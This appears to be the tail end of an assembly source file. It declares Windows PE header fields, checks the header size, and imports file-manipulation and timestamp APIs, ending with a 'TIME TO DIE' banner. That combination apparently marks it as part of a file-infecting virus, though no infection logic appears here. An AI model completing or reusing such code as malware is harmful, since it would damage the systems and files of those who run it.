Var PE_ExportDataSz ,DWord
Var PE_ImportTableRVA,DWord
Var PE_ImportDataSz ,DWord
Var PE_RsrcTableRVA ,DWord
Var PE_RsrcDataSz ,DWord
Var PE_ExceptTableRVA,DWord
Var PE_ExceptDataSz ,DWord
Var PE_SecurTableRVA,DWord
Var PE_SecurDataSz ,DWord
Var PE_FixUpTableRVA,DWord
Var PE_FixUpDataSz ,DWord
Var PE_DebugTableRVA,DWord
Var PE_DebugDataSz ,DWord
Var PE_ImageDescrRVA,DWord
Var PE_DescriptionSz,DWord
Var PE_MachineSpecRVA,DWord
Var PE_MachineSpecSz,DWord
Var PE_TLSRVA ,DWord
Var PE_TLSSz ,DWord
Var PE_R0 ,30h
PEHeaderSize = _VarAddr-PEHeaderBegin

If PEHeaderSize NE 0F8h
.Err 'PEHeader described incorrectly!'
EndIf
;BreakCodeLine
;StopCode
Var VeryLargeBuffer ,0h ; Rest of memory ;-)

; ---------------------------------------------------------
_VarAddr = 0h
Var ConvertVar ,4*4 ; Tiny Stack variables
Var SmallBuffer ,0h ; (memory buffer)

; ---------------------------------------------------------
;StartData
Extern MessageBoxA:Proc ; External functions
Extern CreateFileA:Proc ; which imported
Extern SetFilePointer:Proc ; form some system
Extern CloseHandle:Proc ; DLL's (providers
Extern ReadFile:Proc ; of this functions)
Extern WriteFile:Proc
Extern SetFilePointer:Proc
Extern GetFileAttributesA:Proc
Extern SetFileAttributesA:Proc
Extern GetFileTime:Proc
Extern SetFileTime:Proc
Extern CopyFileA:Proc
Extern MoveFileA:Proc
Extern GetEnvironmentStringsA:Proc
Extern MessageBeep:Proc
Extern FileTimeToSystemTime:Proc
Extern SystemTimeToFileTime:Proc
Extern GetSystemTime:Proc
Extern GetSystemDirectoryA:Proc
;StopData

; ---------------------------------------------------------
End Start

; *==================================================================*
; ! T I M E T O D I E !
; *==================================================================*